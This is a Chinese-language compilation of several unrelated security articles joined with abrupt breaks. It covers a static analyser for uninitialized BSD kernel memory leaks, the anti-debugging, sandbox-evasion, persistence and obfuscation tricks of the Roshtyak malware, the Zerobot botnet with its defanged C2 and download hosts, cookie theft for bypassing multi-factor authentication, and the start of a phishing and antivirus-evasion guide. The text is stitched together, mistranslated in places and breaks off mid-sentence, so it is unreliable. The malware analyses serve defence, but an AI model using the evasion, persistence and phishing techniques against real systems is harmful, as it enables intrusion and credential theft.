一旦我們建立了源指針和分配器調用之間的連接,下一個問題是,將分配什麼指針值作為分配器調用的返回值?在Binary Ninja中跟踪為負偏移量的堆棧指針是這樣的:為了在堆棧指針和堆指針之間具有一個通用表示,我決定將堆分配器調用的返回值設置為分配大小的負值。對於sys_statfs()中的malloc()調用,rax_1#1設置為0x1d8作為起始地址。因此,需要初始化的內存區域的範圍從0x1d8到0不等。即使分配大小不確定,起始地址也可以設置為某些任意值,例如0x10000。最重要的是要知道copyout()訪問的連續內存區域是否已初始化。

使用dominator和後dominator過濾內存存儲下圖中的dominator提供了一些基本塊的執行順序信息。雖然我們已經在“處理指針對齊優化”一節中使用了dominator來處理指針對齊的優化,但本節將詳細介紹dominator在檢測支配流敏感(flow-sensitive)內存存儲操作中的使用。

為了分析未初始化的內存洩露,我們使用了兩種思路:dominator和後dominator。如果到Y的所有路徑都應經過X,則稱基本塊X支配另一個基本塊Y。如果從X到函數的任何返回塊的所有路徑均應經過Y,則稱基礎塊Y支配基本塊X。

10.png

dominator和後dominator的圖表

在所提供的圖中,節點B支配節點C、D、E和F,因為到這些節點的所有路徑都必須經過節點B。根據定義,每個節點都會進行自我支配,因此由節點B支配的所有節點集將是B、C、D,E和F。此外,節點A支配圖中的所有節點。因此,節點C、D、E、F的dominator是A和B。

同理,當A為函數入口節點,E和F為出口節點,則節點B為節點A的後dominator。這是因為從A到出口節點的所有路徑都必須經過B。

那麼,dominator和後dominator如何幫助我們進行分析呢?

我們可以對sink函數的調用者執行dominator分析。其思想是只記錄基本塊中的內存存儲,這些基本塊支配調用copyout()的基本塊,也就是說,將執行與分支決策無關的基本塊,代碼如下:

11.png

調用copyout()的基本塊的dominator

調用copyout()的基本塊是

在跨函數(inter-procedure)分析期間,對被調用函數進行後dominator分析。它的目的是在初始化它應該返回的內存區域之前,找到被調用者可能返回的漏洞。被調用者函數do_sys_waitid()如下所示:

12.png

do_sys_waitid()中函數輸入塊的後dominator

函數入口塊基於dominator和後dominator的分析試圖填補分析器執行的支配流不敏感分析中的空白。其假設是,在執行進一步的操作之前,內存被初始化或清除,因此支配其他基本塊。然而,這種假設並不總是正確的。例如,在某些情況下,單個代碼路徑可以執行與支配器中相同的操作。此外,當被調用者由於任何錯誤條件返回時,調用者可以在調用copyout()之前驗證返回值。因此,在此情況下基於dominator的分析容易出現大量誤報。

檢查未初始化的內存洩露一旦所有的內存存儲操作都被靜態地記錄了關於寫的偏移量和大小的信息,就可以使用copyout()對複製到用戶空間的內存區域進行評估,以進行未初始化的內存公開。 copyout()調用是這樣的:源指針為0x398,複製的大小為0x330字節。因此,分析器必須驗證內存範圍從-0x398到(-0x398 +0x330)的所有字節是否都已初始化,如果沒有,則將其標記為錯誤。

誤報和限制編寫分析器的目的是查找在任何可能的代碼路徑中從未寫入過的內存區域。如果無法跟踪內存存儲操作,則會出現誤報。以下是一些常見的誤報情況和限制情況:

1.分析儀不模擬分支指令。因此,在涉及支配流決策的代碼構造中會出現誤報。考慮一個內存區域,例如在循環操作中初始化的數組。在這種情況下,存儲操作將只檢測一次,因為分析器只訪問循環體一次,而不是像執行期間那樣在循環中訪問。

2.間接調用不會被靜態解析,因此,在間接調用期間執行的任何內存存儲都不會被跟踪。

3.優化可能會使跟踪內存存儲更加困難。在“處理x86 REP優化”和“處理指針對齊優化”部分中處理了一些常見的優化。

4.Binary Ninja可能會錯誤地檢測用於靜態掛鉤或copyout()等接收器函數的類型信息。由於我們的分析依賴於RegisterValueType信息,任何未能準確檢測函數原型的情況都可能導致錯誤的結果。在分析和更新之前驗證類型信息。

5.分析器僅查找內存源函數和sink函數位於同一函數中的代碼模式。在本地函數範圍之外,沒有對內存源的跟踪。

6.dominator分析是實驗性的。你應該僅將其用作執行代碼審查的指導原則。

當可以訪問源代碼時,可以通過更改優化標誌或展開循環來減少分支決策,從而解決其中一些誤報。

分析結果在Binary Ninja中加載目標內核可執行文件,生成BNDB分析數據庫。然後用分析器對數據庫進行分析,以便進行更快的分析。有兩個腳本:一個用於分析堆棧內存洩漏,另一個用於分析具有已知大小和未知源指針的sink函數。因為源指針可以來自堆分配器,所以提供一個帶有分配器函數列表的JSON配置作為參數。 dominator分析是實驗性的。需要時,請使用可選參數啟用它。

總結這些腳本在Binary Ninja版本2.4.2846上針對FreeBSD 11.4、NetBSD 9.2和OpenBSD 6.9內核進行了測試。在結果中,評估了非特權用戶可能訪問的代碼路徑。 OpenBSD漏洞在與IPv4和IPv6組播路由相關的系統中被發現,分別被命名為ZDI-22-073和ZDI-22-012。

在NetBSD中發現的4個漏洞(ZDI-22-075、ZDI-22-1036、ZDI22-1037和ZDI-21-1067)與支持舊版NetBSD向後兼容的系統調用有關的ZDI-22-2075和ZDI22-11036分別是NetBSD 3.0和NetBSD 5.0的VFS系統調用中的信息洩露。另外,ZDI-22-1037是NetBSD 4.3的getkerneinfo系統調用中的一個信息洩漏。目前,此漏洞已修復,但還存在許多其他潛在問題。

在版本11.4中發現的FreeBSD漏洞也與兼容性有關,在本例中,兼容性用於支持32位二進製文件。然而,在對64位inode進行較大更改期間,該漏洞被修復,但沒有被公開。作為64位inode項目的一部分,在copy_stat函數中清除了未初始化的結構字段。雖然此承諾是在2017年5月,但它被標記為12.0及以上版本。因此,該漏洞在11.4版中一直未被修復,直到2021年9月才被處理。

總而言之,大多數漏洞都是在BSD的兼容層中發現的。此外,所有這些漏洞都是堆棧內存洩漏。

異常檢查此外,Roshtyak包含設置自定義向量異常處理程序的檢查,並有意觸發各種異常,以確保它們都按預期得到處理。

Roshtyak使用RtlAddVectoredExceptionHandler設置了一個向量異常處理程序。此處理程序包含針對所選異常代碼的自定義處理程序。頂級異常處理程序也使用SetUnhandledExceptionFilter註冊。不應該在目標執行環境中調用此處理程序(任何有意觸發的異常都不應該通過向量異常處理程序)。因此,這個頂級處理程序只包含一個對TerminateProcess的調用。有趣的是,Roshtyak還使用ZwSetInformationProcess使用ProcessDefaultHardErrorMode類來設置SEM_FAILCRITICALERRORS。這確保了即使異常以某種方式被傳遞到默認異常處理程序,Windows也不會顯示標準漏洞消息框,這可能會提醒受害者發生了可疑的事情。

當一切都設置好之後,Roshtyak開始生成異常。第一個異常是由一條popf指令生成的,後面直接跟著一條cpuid指令(如下所示)。 popf指令彈出的值被精心設計為設置漏洞標誌,而該標誌又會引發一個單步異常。在物理設備上,異常會在cpuid指令之後立即觸發。然後,自定義向量異常處理程序將接管並將指令指針從標記為無效指令的C7 B2 操作碼中移走。但是,在許多管理程序下,不會引發單步異常。這是因為cpuid 指令強制VM 退出,這可能會延遲跟踪標誌的效果。如果是這種情況,處理器將在嘗試執行無效操作碼時引發非法指令異常。如果向量異常處理程序遇到這樣的異常,它就知道它是在管理程序下運行的。 Palo Alto Networks 的一篇文章描述了這種技巧的一種變體。

9.png

基於異常的檢查使用popf 和cpuid 來檢測管理程序

另一個異常是使用雙字節int 3指令(CD 03)生成的。這條指令後面是垃圾操作碼。這裡的int 3 引發一個斷點異常,該異常由向量異常處理程序處理。向量異常處理程序實際上並沒有做任何處理異常的事情,這很有趣。這是因為默認情況下,Windows 在處理兩個字節的int 3 指令時,會將指令指針留在兩個指令字節之間,指向03 字節。當從這個03 字節反彙編時,垃圾操作碼突然開始變得有意義。我們認為這是對一些急於求成的調試器的檢查,這些調試器可能會將指令指針“修復”到03字節之後的指針。

此外,向量異常處理程序檢查線程的CONTEXT 並確保寄存器Dr0 到Dr3 為空。如果不是,則使用硬件斷點調試進程。雖然這種檢查在惡意軟件中比較常見,但CONTEXT 通常是通過調用GetThreadContext 之類的函數來獲取的。此時,惡意軟件開發者利用CONTEXT 作為參數傳遞給異常處理程序,因此他們不需要調用任何額外的API 函數。

大型可執行映射下一次檢查很有趣,主要是因為我們不確定它真正應該檢查什麼。首先,Roshtyak創建一個大小為0x386F000的大型PAGE_EXECUTE_READWRITE映射。然後它將這個映射映射到自己的地址空間9次。在這之後,它將映射設置為0x42 (inc edx的操作碼),除了最後六個字節,它們被四個inc ecx指令和jmp dword ptr [ecx]填充。接下來,它將映射視圖的9個基址放入一個數組中,後面是單個ret指令的地址。最後,它將ecx指向這個數組並調用第一個映射視圖,這將導致依次調用所有映射視圖,直到最後的ret指令。返回後,Roshtyak 驗證edx 恰好增加了0x1FBE6FCA 倍(9 * (0x386F000 - 6))。

10.png

大映射段的結尾,jmp dword ptr [ecx] 指令應該跳轉到下一個映射視圖的開頭

我們最好的猜測是,這是另一個反模擬器檢查。例如,在某些模擬器中,映射段可能沒有完全實現,因此寫入映射視圖的一個實例的指令可能不會傳播到其他八個實例。另一種理論是,這種檢查可以用於請求模擬器可能無法提供的大量內存。畢竟,所有視圖的總和幾乎是標準32位用戶模式地址空間的一半。

中止檢測過程這個技巧濫用NtCreateThreadEx 中未記錄的線程創建標誌來檢測Roshtyak 的主進程何時被外部掛起(這可能意味著附加了調試器)。這個標誌實際上允許線程即使在PsSuspendProcess被調用時也能繼續運行。這與另一個濫用線程掛起計數器是帶符號的8位值這一事實的技巧相結合,這意味著它的最大值為127。 Roshtyak生成兩個線程,其中一個線程持續掛起另一個線程,直到達到掛起計數器的限制。在此之後,第一個線程會定期掛起另一個線程,並檢查對NtSuspendThread 的調用是否繼續失敗並顯示STATUS_SUSPEND_COUNT_EXCEEDED。如果沒有,則該線程必須被外部掛起並恢復,這將使掛起計數器保持在126,因此對NtSuspendThread 的下一次調用將成功。如果沒有得到這個漏洞代碼,那麼Roshtyak就會停止使用TerminateProcess。 Secret Club在一篇博文中詳細描述了這一技巧。我們相信這就是Roshtyak的作者得到這個技巧的原因。值得一提的是,Roshtyak只在Windows版本18323 (19H1)及以後的版本中使用了這種技術,因為在之前的版本中沒有實現無文檔記錄的線程創建標誌。

間接註冊表寫入Roshtyak 執行許多可疑的註冊表操作,例如,設置RunOnce 項以實現持久性。由於可能會監控對此類密鑰的修改,因此Roshtyak 試圖繞過監控。它首先生成一個隨機註冊表項名稱,並使用ZwRenameKey 將RunOnce 項臨時重命名為隨機名稱。重命名後,Roshtyak 會在臨時密鑰中添加一個新的持久性條目,然後最終將其重命名為RunOnce。這種寫入註冊表的方法很容易被檢測到,但它可能會繞過一些簡單的基於掛鉤的監控方法。

同樣,Roshtyak 使用多種方法來釋放文件。除了對NtDeleteFile 的明顯調用之外,Roshtyak 還可以通過在對ZwSetInformationFile 的調用中設置FileDispositionInformation 或FileRenameInformation 來有效地釋放文件。然而,與註冊表修改方法不同的是,這似乎不是為了逃避檢測而實現的。相反,如果對NtDelete文件的初始調用失敗,Roshtyak將嘗試這些替代方法。

檢查VBAWarnings

VBAWarnings 註冊表值控制用戶打開包含嵌入VBA 宏的文檔時Microsoft Office 的行為方式。如果此值為1,則意味著“啟用所有宏”,則默認執行宏,甚至不需要任何用戶交互。這是沙盒的常見設置,旨在自動觸發惡意文檔。另一方面,此設置對於普通用戶來說並不常見,他們通常不會隨意更改設置,使自己更容易受到攻擊(至少他們中的大多數人不會)。因此,Roshtyak 使用此檢查來區分沙箱和普通用戶,如果VBAWarnings 的值為1,則拒絕進一步運行。有趣的是,這意味著無論出於何種原因以這種方式降低安全性的用戶都不會受Roshtyak 的影響。

命令行清除Roshtyak 的核心是用非常可疑的命令行執行的,例如RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Users\\AppData\Local\Temp\dpcw.etl.'。這些命令行看起來不是特別合法,因此Roshtyak 試圖在執行期間隱藏它們。它通過清除從各種來源收集的命令行信息來做到這一點。它首先調用GetCommandLineA 和GetCommandLineW 並清除兩個返回的字符串。然後它會嘗試清除PEB-ProcessParameters-CommandLine 指向的字符串(即使它指向一個已經被清除的字符串)。由於Roshtyak 經常在WoW64 下運行,它還調用NtWow64QueryInformationProcess64 來獲取指向PEB64 的指針,以清除通過遍歷這個“第二個”PEB 獲得的ProcessParameters-CommandLine。雖然清除命令行可能是為了讓Roshtyak 看起來更合法,但完全清除任何命令行也是極不尋常的。 Red Canary 研究人員在他們的博客文章中註意到了這一點,他們提出了一種基於這些可疑的空命令行的檢測方法。

11.png

Roshtyak 的核心流程,如Process Explorer 所示,注意可疑的空命令行。

附加技巧除了到目前為止描述的技巧之外,Roshtyak 還使用了許多其他惡意軟件中常見的不太複雜的技巧。這些包括:

使用ThreadHideFromDebugger 隱藏線程,並使用NtQueryInformationThread 驗證線程是否真的被隱藏了;

在ntdll 中修補DbgBreakPoint;

使用GetLastInputInfo 檢測用戶活動情況;

檢查來自PEB 的字段(BeingDebugged、NtGlobalFlag);

檢查來自KUSER_SHARED_DATA 的字段(KdDebuggerEnabled、ActiveProcessorCount、NumberOfPhysicalPages);

檢查所有正在運行的進程的名稱(一些通過哈希比較,一些通過模式比較,一些通過字符分佈比較);

哈希所有加載模塊的名稱,並根據硬編碼的黑名單檢查它們;

驗證主進程名不需要太長時間,而且與沙盒中使用的已知名稱不匹配;

使用cpuid指令檢查hypervisor信息和處理器標誌;

使用沒有紀錄的COM 接口;

根據硬編碼的黑名單檢查用戶名和計算機名;

正在檢查是否存在已知的沙盒誘餌文件;

根據硬編碼的黑名單檢查自己的適配器的MAC 地址;

檢查ARP 表中的MAC 地址(使用GetBestRoute 填充它並使用GetIpNetTable 來檢查它);

使用ProcessDebugObjectHandle、ProcessDebugFlags 和ProcessDebugPort 調用ZwQueryInformationProcess;

檢查顯示設備的DeviceId(使用EnumDisplayDevices);

檢查\\.\PhysicalDrive0 的ProductId(使用IOCTL_STORAGE_QUERY_PROPERTY);

檢查虛擬硬盤(使用NtQuerySystemInformation 和SystemVhdBootInformation);

檢查原始SMBIOS 固件表(使用NtQuerySystemInformation 和SystemFirmwareTableInformation);

設置Defender 排除項(針對路徑和進程);

刪除與惡意軟件使用的進程名相關的IFEO註冊表項;

混淆我們展示了許多旨在防止Roshtyak 在不良執行環境中觸發的反分析技巧。就單個技巧來說,都很容易被修復或識別。分析Roshtyak 之所以困難的原因,是所有這些技巧被組合起來了,同時被重度混淆和多層包裝。這使得靜態研究反分析技巧並弄清楚如何通過所有檢查以使Roshtyak 自行解包變得非常困難。此外,即使是主要的有效載荷也收到了相同的混淆,這意味著靜態分析Roshtyak 的核心功能也需要大量的去混淆。

接下來,我們將介紹Roshtyak使用的主要混淆技術。

13.1.png

來自Roshtyak的隨機代碼片段,可以看到,這種混淆使得Hex-Rays反編譯器的原始輸出實際上難以理解

controlflowflatterning(控制流平坦化)控制流扁平化是Roshtyak 採用的最引人注目的混淆技巧之一。它以一種不同尋常的方式實現,使Roshtyak 函數的控制流圖具有獨特的外觀(見下文)。控制流扁平化的目標是混淆各個代碼塊之間的控制流關係。

控制流由一個32 位控制變量引導,該變量跟踪執行狀態,識別要執行的代碼塊。這個控制變量在每個函數開始時被初始化以引用起始代碼塊(通常是一個nop 塊)。然後在每個代碼塊的末尾修改控制變量,以識別應該執行的下一個代碼塊。修改是使用一些算術指令執行的,例如add、sub 或xor。

有一個調度程序使用控制變量將執行路由到正確的代碼塊中。這個調度程序由if/else塊組成,這些塊被循環鏈接到一個循環中。每個調度程序塊接受控制變量,並使用算術指令屏蔽它,以檢查是否應該將執行路由到它所保護的代碼塊中。有趣的是,從代碼塊到調度程序循環有多個入口點,使控制流圖在IDA 中呈現鋸齒狀外觀。

使用包含imul 指令的特殊代碼塊執行分支。它依賴於前一個塊來計算分支標誌。使用imul 指令將該分支標誌與一個隨機常數相乘,並將結果與新的控制變量相加、替換或異或。這意味著在分支塊之後,控制變量將識別兩個可能的後續代碼塊中的一個,這取決於為分支標誌計算的值。

14.1.png

用控制流扁平化混淆的函數的控制流圖

函數激活項Roshtyak 的混淆函數需要一個額外的參數,我們稱之為激活密鑰。此激活密鑰用於解密所有局部常量、字符串、變量等。如果使用漏洞的激活密鑰調用函數,則解密會產生垃圾明文,這很可能導致Roshtyak陷入控制流分配器內部的無限循環中。這是因為調度程序使用的所有常量(控制變量的初始值、調度程序守衛使用的掩碼以及用於跳轉到下一個代碼塊的常量)都使用激活密鑰加密。如果沒有正確的激活密鑰,調度程序根本不知道如何調度。

如果不知道正確的激活密鑰,對函數進行逆向工程實際上是不可能的。所有字符串、緩衝區和局部變量/常量都保持加密狀態,所有交叉引用都丟失了,更糟糕的是,沒有控制流信息。只剩下單獨的代碼塊,沒有辦法知道它們之間是如何關聯的。

每個混淆函數都必須從某個地方調用,這意味著調用該函數的代碼必須提供正確的激活密鑰。但是,獲取激活密鑰並不是那麼容易。首先,調用目標也使用激活密鑰加密,因此如果不知道正確的激活密鑰,就不可能找到調用函數的位置。其次,即使提供的激活密鑰也被調用函數的激活密鑰加密。並且該激活密鑰被下一個調用函數的激活密鑰加密。以此類推,一直到入口點函數。

這給去混淆帶來了很多麻煩。入口點函數的激活密鑰必須以明文形式存在。使用這個激活密鑰,可以解密直接從這個入口點函數調用的函數的調用目標和激活密鑰。遞歸地應用此方法使我們能夠重構完整的調用圖以及所有函數的激活項。唯一的例外是從未調用過且由編譯器保留的函數。這些函數可能仍然是個謎,但由於示例沒有使用它們,因此從惡意軟件分析師的角度來看,它們並不那麼重要。

11月,FortiGuard實驗室觀察到一個用Go語言編寫的獨特殭屍網絡通過物聯網漏洞進行了傳播。這個殭屍網絡被稱為Zerobot,包含幾個模塊,包括自我複制、針對不同協議的攻擊和自我傳播。它還使用WebSocket協議與其命令和控制服務器通信。根據一些IPS簽名觸發計數,該活動在11月中旬之後的某個時候開始了當前版本的傳播。

受影響的平台:Linux;

受影響組織:任何組織;

影響:遠程攻擊者可以控制易受攻擊的系統;

嚴重級別:嚴重。

本文詳細介紹了該惡意軟件如何利用漏洞,並在進入受感染的設備後檢查其行為。

1.png

IPS簽名活動

2.png

IPS簽名活動

感染Zerobot利用多個漏洞來訪問設備,然後下載腳本以進一步傳播。完整的腳本如下圖所示。請注意,下載URL已從http[:]//zero[.]sudolite[.]ml/bins更改為http[:]]//176[.]65.137[.]5/bins。此Zerobot變體針對以下架構:i386、amd64、arm、arm64、mips、mips64、mips64le、mipsle、ppc64、ppc64le、riscv64和s390x。它使用文件名“zero”保存,這是活動名稱的來源。

3.png

2022年11月24日之前使用的下載腳本

4.png

當前下載腳本

Zerobot有兩個版本。 11月24日之前使用的第一個僅包含基本功能。當前版本增加了一個“selfRepo”模塊來複製自身,並感染更多具有不同協議或漏洞的端點。舊版本的功能列表如下圖所示。然而,以下技術分析是基於新版本的。

5.png

11月24日之前Zerobot版本的主要功能

技術分析——初始化Zerobot首先檢查其與Cloudflare的DNS解析器服務器1.1.1.1的連接。

6.png

檢查1.1.1.1:80的網絡連接

然後,它根據受害者的操作系統類型將自己複製到目標設備上。對於Windows,它將自己複製到文件名為“FireWall.exe”的“Startup”文件夾中。 Linux有三個文件路徑:“%HOME%”、“/etc/init/”和“/lib/systemd/system/”。

7.png

複製本身的代碼流

然後,它設置了一個“AntiKill”模塊,以防止用戶中斷Zerobot程序。該模塊監視特定的十六進制值,並使用“signal.Notify”攔截任何發送來終止或終止進程的信號。

8.png

AntiKill的部分代碼

技術分析——命令初始化後,Zerobot使用WebSocket協議啟動到其C2服務器ws[:]//176[.]65[.]137[.]5/handle的連接。

9.png

連接到C2服務器

從受害者發送的數據如下圖所示。基於WebSocket協議,我們可以對其進行屏蔽,以獲取帶有受害者信息的JSON:

{'Platform':'linux','GCC':'386','CPU':1,'Payload':'Direct','Version':1}

10.png

C2連接的流量捕獲

通信通道設置後,客戶端等待來自服務器的命令,包括“ping”、“attack”、“stop”、“update”、“kill”、“disable_scan”、“enable_scan”和“command”。有關“enable_scan”中漏洞的詳細信息,接下來會講到。

11.1.png

11.2.png

在zero.mips中接收命令

12.png

zero.386中接收到的命令

技術分析——開發Zerobot包括21個漏洞,具體如圖12所示,下圖中受影響的產品如下所示。除了一些物聯網漏洞外,還包括Spring4Shell、phpAdmin、F5 Big等,以提高其攻擊成功率。

13.png

Zerobot中的漏洞列表

14.png

Zerobot針對的易受攻擊設備列表

上圖頂部名為“ZERO_

Depositphotos_90753880_L.jpg

隨著越來越多的企業轉向使用雲服務和多因素身份驗證,與身份和身份驗證相關的cookie 就為攻擊者提供了一條新的攻擊途徑。

憑據竊取惡意軟件是各類攻擊者經常使用的工具包的一部分。雖然用戶帳戶名和密碼是憑據竊取活動的最明顯目標,但越來越多地使用多因素身份驗證(MFA) 來保護基於Web 的服務已經使該方法不再有效。越來越多的攻擊者轉向竊取與證書相關的“cookie”來複製當前或最近的web會話,並在此過程中繞過MFA。

最新版的Emotet 殭屍網絡只是針對瀏覽器存儲的cookie 和其他憑據(例如存儲的登錄名和在某些情況下支付卡數據)的眾多惡意軟件家族之一。谷歌的Chrome 瀏覽器使用相同的加密方法來存儲多因素身份驗證cookie 和信用卡數據——這兩個都是Emotet的目標。

針對cookie 的攻擊範圍很廣,小到信息竊取惡意軟件,例如Raccoon Stealer 惡意軟件即服務和RedLine Stealer 鍵盤記錄器/信息竊取程序,它們都可以通過地下論壇購買,且通常被入門者用來批量盜取cookie和其他證書,並出售給犯罪市場。

美國藝電公司(Electronic Arts,NASDAQ: ERTS,簡稱EA)一名員工的cookie 就出現了明顯的洩漏。 黑客組織Lapsus$的成員聲稱從市場購買了一個被盜的會話cookie,使他們能夠訪問EA 的Slack 實例;這使他們能夠欺騙EA 員工的現有登錄名,並欺騙EA 的IT 團隊成員為他們提供網絡訪問權限。這使得Lapsus$ 能夠獲取780 GB 的數據,包括遊戲和圖形引擎源代碼,該企業隨後利用這些數據試圖勒索EA。

對於高級攻擊者來說,研究人員觀察到活躍的攻擊者以各種方式獲取cookie。在某些示例中,研究人員已經看到勒索軟件運營商使用了與不太複雜的攻擊者相同的信息竊取惡意軟件的證據。但研究人員也經常看到實際攻擊濫用合法的攻擊安全工具,例如Mimikatz、Metasploit Meterpreter 和Cobalt Strike,以執行cookie 收集惡意軟件或運行從瀏覽器緩存中獲取cookie 的腳本。

還有一些合法的應用程序和進程可以與瀏覽器的cookie文件交互。研究人員在Sophos 的遙測技術中發現了cookie-snooping檢測的反惡意軟件、審計工具和操作系統助手:例如,Bing 的壁紙更新程序可以訪問cookie來獲取新的桌面背景。但是,在篩選出這些良性來源後,我們看到每天有數千次訪問瀏覽器cookie 的嘗試超出了良性軟件行為的範圍。有時,隨著特定活動的啟動,這些檢測結果會急劇上升。此外,一些使用cookie 的合法應用程序可能會洩露它們,從而將令牌暴露給攻擊者。

進入存儲cookie的文件瀏覽器將cookie 存儲在文件中,對於Mozilla Firefox、Google Chrome 和Microsoft Edge,該文件是用戶配置文件文件夾中的SQLite 數據庫。類似的SQLite文件存儲瀏覽器歷史記錄,網站登錄和自動填充這些瀏覽器的信息。其他連接到遠程服務的應用程序有自己的cookie存儲庫,或者在某些情況下可以訪問web瀏覽器的cookie存儲庫。

數據庫中每個cookie 的內容都是參數和值的列表,一個鍵值存儲,用於標識與遠程網站的瀏覽器會話,在某些情況下,還包括在用戶身份驗證後由網站傳遞給瀏覽器的令牌。其中一個鍵值對指定cookie的過期時間,即cookie在必須更新之前的有效時間。

1.png

cookies.sqlite 文件中的一些cookie

竊取cookie的原因很簡單:與web服務身份驗證相關的cookie可能被攻擊者用於“傳遞cookie”攻擊,試圖偽裝成最初向其發出cookie的合法用戶,並在沒有登錄挑戰的情況下獲得對web服務的訪問權。這類似於“傳遞哈希”攻擊,它使用本地存儲的身份驗證哈希來訪問網絡資源,而無需破解密碼。

2.png

合法的網絡服務活動

3.png

“傳遞cookie”攻擊是如何發起攻擊的

這可能導致對web服務(如AWS或Azure)、軟件即服務和協作服務的利用,以進一步暴露或橫向移動數據,如商業電子郵件洩露、訪問云數據存儲,或使用劫持的Slack會話引誘其他受害者下載惡意軟件或暴露其他可用於訪問的數據。

許多基於web的應用程序執行額外的檢查以防止會話欺騙,例如根據發起會話的位置檢查請求的IP地址。但是,如果cookie 被同一網絡內的手動鍵盤攻擊者使用,那麼這些措施可能不足以阻止攻擊。而為桌面和移動結合使用而構建的應用程序可能不會始終如一地使用地理位置。

有些cookie竊取攻擊可能完全從目標本身的瀏覽器中遠程發起。 HTML注入攻擊可以使用插入易受攻擊的網頁的代碼來利用其他服務的cookie,這允許訪問目標在這些服務上的個人信息,並允許更改密碼和電子郵件。

盜取cookie 的成本收益通常,惡意軟件運營商會使用付費下載服務和其他無針對性的方法,以低成本和不費力的方式收集盡可能多的受害者cookie 和其他相關憑據。這種類型的竊取器部署非常類似於Raccoon Stealer 和我們看到的其他惡意軟件活動,這些惡意軟件活動通過dropper 來傳播。

ISO 或ZIP 文件中的惡意軟件包通過搜索引擎優化提升的惡意網站作為盜版或“破解”商業軟件包的安裝程序。基於ISO 的傳播包也被廣泛用於代替惡意軟件垃圾郵件活動中的惡意文檔,這主要是因為微軟最近屏蔽了來自互聯網的Office文件中的宏。

研究人員在一個大學網絡上看到的“下載即服務”示例中,竊取的惡意軟件包含在一個從網站下載的虛假軟件安裝程序中,很可能是一個廣告盜版商業軟件。安裝程序通過用戶下載的300 兆ISO 文件的形式傳播,大型ISO 文件經常被用於阻止惡意軟件檢測軟件的文件掃描。

ISO 包含BLENDERINSTALLER3.0.EXE,這是一個來自另一個軟件包的重新利用的軟件安裝實用程序。該釋放程序使用PowerShell 命令和使用AutoIT(一種經常被惡意軟件運營商濫用的合法工具)創建的可執行文件安裝多個文件,以從.ISO 中提取惡意軟件,並從Discord 的內容傳播網絡下載其他惡意軟件文件。然後,惡意軟件包通過.NET 進程(使用.NET 框架中的jsc.exe)注入一系列命令,以從Chrome 中獲取cookie 和登錄數據。

4.png

一個虛假的安裝程序/信息竊取cookie程序

高度複雜的攻擊過程惡意垃圾郵件還與其他偽裝附件一起使用,通常針對特定行業或國家的企業。 2021 年10 月,一名土耳其計算機用戶收到了一封電子郵件,其附件是一個XZ壓縮文件。這包含一個偽裝的可執行文件,“ürün örnekleri resmi pdf.exe”(翻譯為“產品樣本圖像pdf.exe”)。該可執行文件是一個使用Delphi 編程語言(稱為“BobSoft Mini Delphi”)構建的自解壓惡意軟件dropper。

這個dropper依次安裝了幾個可執行程序。第一個是合法的Microsoft Visual Studio組件(msbuild.exe)。 MSBuild 通常用於編譯和執行編碼項目,它可以在命令行上傳遞項目文件或包含腳本的XML 文件,並啟動它們。由於該文件是受信任的Microsoft 二進製文件,因此可以將其打包到dropper 中,以掩蓋惡意軟件的惡意性質。

第二個可執行文件是從Discord 內容傳播網絡中檢索並解密的,它是Phoenix 鍵盤記錄器,一個信息竊取者。 QuasarRat 也在某個時候被釋放,這是一個用C# 編寫的遠程訪問工具。

在接下來的一周中,攻擊者使用安裝的QuasarRAT啟動了Phoenix信息竊取程序並通過MSBuild 執行命令。 MSBuild 構建和執行的命令訪問了目標設備上的cookie 文件。

5.png

Malspam/Phoenix 竊取的過程

有針對性的利用竊取cookie 不僅僅是一項自動化活動。在某些情況下,這也是積極的攻擊者尋求加深對目標網絡滲透的努力的一部分。在這些情況下,攻擊者利用網絡上的攻擊入口來部署利用工具,並使用這些工具來傳播他們的訪問權限。隨著越來越多的有價值的數據從網絡轉移到雲服務中,這些攻擊者通過竊取cookie和抓取web登錄數據來增加這些服務的橫向移動。

研究人員在2022年6月發現了一個這種類型的長期攻擊活動,其中竊取cookie是持續數月的Cobalt Strike 和Meterpreter 活動的一部分。攻擊者專門針對Microsoft Edge 瀏覽器中的cookie。首先,他們能夠使用Impacket 漏洞利用工具包通過Windows SMB 文件傳輸從初始入口點傳播,將Cobalt Strike 和Meterpreter 釋放到網絡內的目標計算機上。

6.png

竊取cookie

接下來,攻擊者在目標系統上放置了一個合法Perl 腳本解釋器的副本,以及之前基於Impacket 的攻擊中看到的Perl 腳本文件(名為c)和批處理文件(execute.exe)。然後他們使用Meterpreter 傳遞以下命令字符串:

7.png

Perl腳本訪問目標計算機上的cookie文件,並將內容輸出到一個名為_output的臨時文件。該批處理文件將_output 的內容傳回給攻擊者並刪除了Perl 腳本。其餘的shell 命令關閉了屏幕輸出,刪除了批處理文件,並終止了命令shell。

這三個示例僅代表cookie 竊取網絡犯罪的冰山一角。竊取信息的惡意軟件越來越多地將竊取cookie作為其功能的一部分,而低成本高收益使得銷售竊取的cookie成為一項可行的業務。但更有針對性的攻擊者也以cookie 為目標,他們的活動可能無法被簡單的反惡意軟件防禦檢測到,因為他們濫用了合法的可執行文件,包括已經存在和作為工具帶來的合法可執行文件。

如果沒有這麼多應用程序使用長期訪問cookie,那麼cookie 竊取幾乎不會構成威脅。例如,Slack結合使用持久cookie和特定於會話的cookie來檢查用戶的身份和身份驗證。當瀏覽器關閉時,會話cookie會被清除,但其中一些應用程序(如Slack)在某些環境中仍然無限期地打開。這些cookie過期的速度可能不夠快,無法防止被盜時被人利用。如果用戶不關閉會話,與一些多因素身份驗證相關聯的單點登錄令牌可能會造成同樣的潛在威脅。

定期清除瀏覽器的cookie和其他認證信息可以減少瀏覽器配置文件提供的潛在攻擊面,企業可以使用一些基於Web 的平台的管理工具來縮短cookie 保持有效的允許時間範圍。

但強化cookie政策是有代價的。縮短cookie的生命週期意味著用戶需要進行更多的重新身份驗證。而且,一些利用基於Electron或類似開發平台的客戶端的基於web的應用程序可能有它們自己的cookie處理問題。例如,他們可能有自己的cookie 存儲,攻擊者可以在Web 瀏覽器存儲的上下文之外專門針對這些存儲。

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

批量邮箱搜集

https://app.snov.io/
http://www.skymem.info/

搜索引擎

一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

